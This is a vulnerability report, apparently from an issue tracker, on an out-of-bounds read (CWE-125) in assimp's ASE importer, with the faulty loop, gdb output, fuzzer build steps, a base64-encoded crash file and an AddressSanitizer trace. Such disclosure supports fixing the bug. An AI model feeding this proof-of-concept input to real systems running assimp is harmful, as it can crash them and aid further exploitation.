Bug: Out-of-bounds Read in Assimp::ASEImporter::BuildUniqueRepresentation

[d3ng03]

Summary

Out-of-bounds Read in Assimp::ASEImporter::BuildUniqueRepresentation. An attacker could potentially exploit the vulnerability to cause a remote code execution, if they can trick the victim into running assimp on a malformed ASE file.

Affected

assimp>=5.4.3

Details

In code/AssetLib/ASE/ASELoader.cpp:734, there is no boundary validation for (*i).mIndices[n] value, which cause OOB Read in mesh.mPositions

// code/AssetLib/ASE/ASELoader.cpp:731
unsigned int iCurrent = 0, fi = 0;
for (std::vector<ASE::Face>::iterator i = mesh.mFaces.begin(); i != mesh.mFaces.end(); ++i, ++fi) {
    for (unsigned int n = 0; n < 3; ++n, ++iCurrent) {
        mPositions[iCurrent] = mesh.mPositions[(*i).mIndices[n]];

gdb-peda$ p mesh.mPositions
$9 = std::vector of length 0, capacity 0
gdb-peda$ p (*i).mIndices[n]
$10 = 0xffffffff

gdb-peda$ x/x &mesh.mPositions
0x617000000b00: 0x0000000000000000
gdb-peda$ x/x &mesh.mPositions[(*i).mIndices[n]]
0xbfffffff4:    0x0000000000000000

PoC

1. build assimp with sanitizer

git clone https://github.com/assimp/assimp.git && cd assimp

cmake CMakeLists.txt -G "Ninja" -DBUILD_SHARED_LIBS=OFF -DASSIMP_BUILD_ZLIB=ON \
                    -DASSIMP_BUILD_TESTS=OFF -DASSIMP_BUILD_ASSIMP_TOOLS=OFF \
                    -DASSIMP_BUILD_SAMPLES=OFF
cmake --build .

clang -fsanitize=address,fuzzer -std=c++11 -Iinclude fuzz/assimp_fuzzer.cc -o assimp_fuzzer ./lib/libassimp.a ./contrib/zlib/libzlibstatic.a

1. run fuzzer to trigger bug

echo "TFdTQylFdyozRFNNQVhfQVNDSUlFWFBPUlRNRSoM8U94KkcNCgp4KutSCip0eXBlUgoqTUVTSCAK
Rw1eKjOkpEUKCngpRXgqR1INXngJCgp4KSlFeCpDVAoqIA1eKgkKeClFeCpHCQoKeCpHUgoqTUVT
SCVWWE4qTUVTCQkJCQkJDV4qM6SkRQoKeCdFeCp4KSlFeCpDVApNT0JKRUNUKk1FU4QNXlQKeClF
eCpHRU9NT0JKRUNUCipHDV5eXiozpKRFCgp4KUV4KkdSDV54CQoKeCkpRXgqQ1QKKiANXioKCngp
RXgqRwkKCngqR1IKKk1FU0ggVlhFKk1FU0hfTlVNRkFDRVMJCTMwYjB0ZXh0dXJlX3VlH09wZVIK
Kk1FU0ggCgpUCnheZW1YX0xJCgpQDV4qTUVTSF9GQUNFX0xJU1QMDAwMDAoKCgoKCgoKCgoKCgoN
DQ0NCQkJDQ0NDQ0NDQ0NDQ0NDQ0NDQ0NDQ0NCQkJDQ0NDU9CSkVDVA1HDV4qMwoKeCleKjNBU14q
WHtDDWV9KTVWMTBhZ2FzVVAFCngpRXgqTElHSFRPQkpFQ1QNKXQXCgpQDV4qICpOT0RFX1RNCQoK
KkxJRw1HUk9VUA1eKjNBKXQJCgpQDV4qM0FTXipYWFhZWFhYp1hYWCBFe0MNZX0pdXJmICAJMAog
ICByZQwoSi8vLy8vME1ECkoNZWVlZWVldA0NDQ0NDQ0NDQ0NDQ0NDQ0NDQ0NDQ0NDQ0NDQ0NDQ0N
DQ0NDQ0NDQ0NDQ0NDQ0NDQ0NDQ0NDQ0NDQ0pRFNGKlIKKgp4KSoNXlQKKkNUCngKKkVTSCAKClQK
RUNUCgoqTUVMUypGXio=" | base64 -d > crash

./assimp_fuzzer ./crash

Sanitizer Report

=================================================================
==926952==ERROR: AddressSanitizer: SEGV on unknown address 0x0001ffff7ffe (pc 0x5560ebc4dcd2 bp 0x7ffdc4210ff0 sp 0x7ffdc42107b8 T0)
==926952==The signal is caused by a READ memory access.
    #0 0x5560ebc4dcd2 in __asan::QuickCheckForUnpoisonedRegion(unsigned long, unsigned long) asan_interceptors_memintrinsics.cpp.o
    #1 0x5560ebc4db8a in __asan_memcpy (/workspace/assimp_fuzzer/assimp_asan/assimp_fuzzer+0x455b8a) (BuildId: 14559a9c5adc933a1ee50e87be18a77fe0b33b01)
    #2 0x5560ec429d62 in Assimp::ASEImporter::BuildUniqueRepresentation(Assimp::ASE::Mesh&) /workspace/assimp_fuzzer/assimp_asan/code/AssetLib/ASE/ASELoader.cpp:734:34
    #3 0x5560ec427e04 in Assimp::ASEImporter::InternReadFile(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&, aiScene*, Assimp::IOSystem*) /workspace/assimp_fuzzer/assimp_asan/code/AssetLib/ASE/ASELoader.cpp:171:13
    #4 0x5560ec215a12 in Assimp::BaseImporter::ReadFile(Assimp::Importer*, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&, Assimp::IOSystem*) /workspace/assimp_fuzzer/assimp_asan/code/Common/BaseImporter.cpp:131:9
    #5 0x5560ebc907e4 in Assimp::Importer::ReadFile(char const*, unsigned int) /workspace/assimp_fuzzer/assimp_asan/code/Common/Importer.cpp:709:30
    #6 0x5560ebc8e0a2 in Assimp::Importer::ReadFileFromMemory(void const*, unsigned long, unsigned int, char const*) /workspace/assimp_fuzzer/assimp_asan/code/Common/Importer.cpp:507:9
    #7 0x5560ebc89717 in LLVMFuzzerTestOneInput (/workspace/assimp_fuzzer/assimp_asan/assimp_fuzzer+0x491717) (BuildId: 14559a9c5adc933a1ee50e87be18a77fe0b33b01)
    #8 0x5560ebbb2203 in fuzzer::Fuzzer::ExecuteCallback(unsigned char const*, unsigned long) (/workspace/assimp_fuzzer/assimp_asan/assimp_fuzzer+0x3ba203) (BuildId: 14559a9c5adc933a1ee50e87be18a77fe0b33b01)
    #9 0x5560ebb9bf7f in fuzzer::RunOneTest(fuzzer::Fuzzer*, char const*, unsigned long) (/workspace/assimp_fuzzer/assimp_asan/assimp_fuzzer+0x3a3f7f) (BuildId: 14559a9c5adc933a1ee50e87be18a77fe0b33b01)
    #10 0x5560ebba1cd6 in fuzzer::FuzzerDriver(int*, char***, int (*)(unsigned char const*, unsigned long)) (/workspace/assimp_fuzzer/assimp_asan/assimp_fuzzer+0x3a9cd6) (BuildId: 14559a9c5adc933a1ee50e87be18a77fe0b33b01)
    #11 0x5560ebbcbaf2 in main (/workspace/assimp_fuzzer/assimp_asan/assimp_fuzzer+0x3d3af2) (BuildId: 14559a9c5adc933a1ee50e87be18a77fe0b33b01)
    #12 0x7efeebff8d8f in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16
    #13 0x7efeebff8e3f in __libc_start_main csu/../csu/libc-start.c:392:3
    #14 0x5560ebb96844 in _start (/workspace/assimp_fuzzer/assimp_asan/assimp_fuzzer+0x39e844) (BuildId: 14559a9c5adc933a1ee50e87be18a77fe0b33b01)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV asan_interceptors_memintrinsics.cpp.o in __asan::QuickCheckForUnpoisonedRegion(unsigned long, unsigned long)
==926952==ABORTING

---

Common weakness enumerator (CWE)

• CWE-125: Out-of-bounds Read

[tellypresence]

Please add "Fuzzer" label